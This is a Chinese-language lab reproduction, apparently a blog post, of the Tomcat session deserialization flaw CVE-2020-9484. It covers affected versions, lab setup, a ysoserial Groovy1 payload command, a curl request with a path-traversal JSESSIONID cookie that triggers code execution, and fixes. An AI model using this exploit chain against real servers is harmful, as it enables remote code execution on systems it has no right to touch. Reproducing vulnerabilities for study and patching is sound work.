CVE-2020-9484 Tomcat Session 反序列化复现
一、漏洞概述
Apache Tomcat发布通告称修复了一个源于持久化Session的远程代码执行漏洞(CVE-2020-9484)。漏洞条件比较苛刻:
- tomcat必须启用session持久化功能FileStore
- tomcat/lib或者WEB-INF/lib目录下的依赖存在可用的gadget
- 在服务器上存在已知路径文件内容可控
——引自这里
- Apache Tomcat: 10.0.0-M1 to 10.0.0-M4
- Apache Tomcat: 9.0.0.M1 to 9.0.34
- Apache Tomcat: 8.5.0 to 8.5.54
- Apache Tomcat: 7.0.0 to 7.0.103
三、漏洞原理
这里主要是 FileStore 的 LFI 漏洞可以反序列化任意路径上的 .session 文件, 如果同时存在 文件上传漏洞的话就是 RCE 了。这里引入大佬的原文——https://www.safedog.cn/news.html?id=4456
四、漏洞复现环境
Vulfocus上关于这个漏洞的环境好像有些问题(也可能是我太菜了~),外加复现此漏洞并不需要多么复杂的环境,就自己搭建一个好了~~
Tomcat version:Tomcat 10.0.0-M4(服务器就搭建在kali上了)
五、实验步骤
1.搭建实验环境
(1)下载Tomcat相应的版本,且解压到/usr/local/tomcat文件中(新建)
1 wget https://repo1.maven.org/maven2/org/apache/tomcat/tomcat/10.0.0-M4/tomcat-10.0.0-M4.tar.gz 2 mkdir /usr/local/tomcat 3 tar -zxvf tomcat-10.0.0-M4.tar.gz -C /usr/local/tomcat/
(2)修改/usr/local/tomcat/apache-tomcat-10.0.0-M4/conf/context.xlm 添加Manager(session 持久化设置)
<Manager className="org.apache.catalina.session.PersistentManager"> <Store className="org.apache.catalina.session.FileStore" directory="/tomcat/sessions/"/> </Manager>
(3)在/usr/local/tomcat/apache-tomcat-10.0.0-M4/lib/目录下下载groovy-2.3.9.jar包(别的包也可以,比如commons-collections4-4.0.jar,不过换包的话,后面对应生成的payload命令也要相应变一下,这里注意)
wget https://repo1.maven.org/maven2/org/codehaus/groovy/groovy/2.3.9/groovy-2.3.9.jar
(4)运行Tomcat
/usr/local/tomcat/bin/catalina.sh start
2.漏洞复现
(1)这里自己就搞不定了,用一下大佬的工具——ysoserial来生成java反序列化 payload 的 .jar 包
java -jar ysoserial-0.0.6-SNAPSHOT-BETA-all.jar Groovy1 "touch /tmp/wavesky" > /tmp/wavesky.session
前面用的不是groovy-2.3.9.jar包的话,这里可以看一下相应的命令——https://github.com/angelwhu/ysoserial
吐槽一下:作为一个立志想要维护一个世界级开源项目,方便更多人,充分发扬互联网共享精神的现阶段的菜鸟来说,实在是看不惯把别人开源的项目拿出来为己谋私的事情(各位老板们别喷,我看不惯也就只看不惯而已……你反对那就是你对,我墙头草的~)
因为这里的ysoserial在git clone之后打jar包的时候,很容易打不出来(大概率是环境问题,镜像恢复之前,大概是javac等环境都存在的时候就打出来了,这里就不重新安装环境了,以后再说吧~)。所以我把用到的工具分享在此,如果觉得github太慢,可以走网盘,链接失效了的话评论区喊我一下~
-
百度网盘——https://pan.baidu.com/s/10znkF5dxQp7WtrJUIquiFA?pwd=3270
提取码:3270 - Github——https://github.com/wave-to/Security_Tools
(2)上传命令(联合上一步,就可以在/tmp目录下创建一个wavesky文件)
curl 'http://127.0.0.1:8080/index.jsp' -H 'Cookie: JSESSIONID=../../../../../tmp/wavesky'
(3)就是这个效果~
六、修复方式
对比 Tomcat 10.0.0-M4 和 Tomcat 10.0.0-M5 的 FileStore 源码可以发现做了目录验证。
修复方式就是升级,或者配置WAF,过滤掉../
之类的字符串,或者不使用 FileStore。——https://www.safedog.cn/news.html?id=4456
七、补充
这里引入一个反序列化原理的文章——https://blog.csdn.net/hilaryfrank/article/details/104450106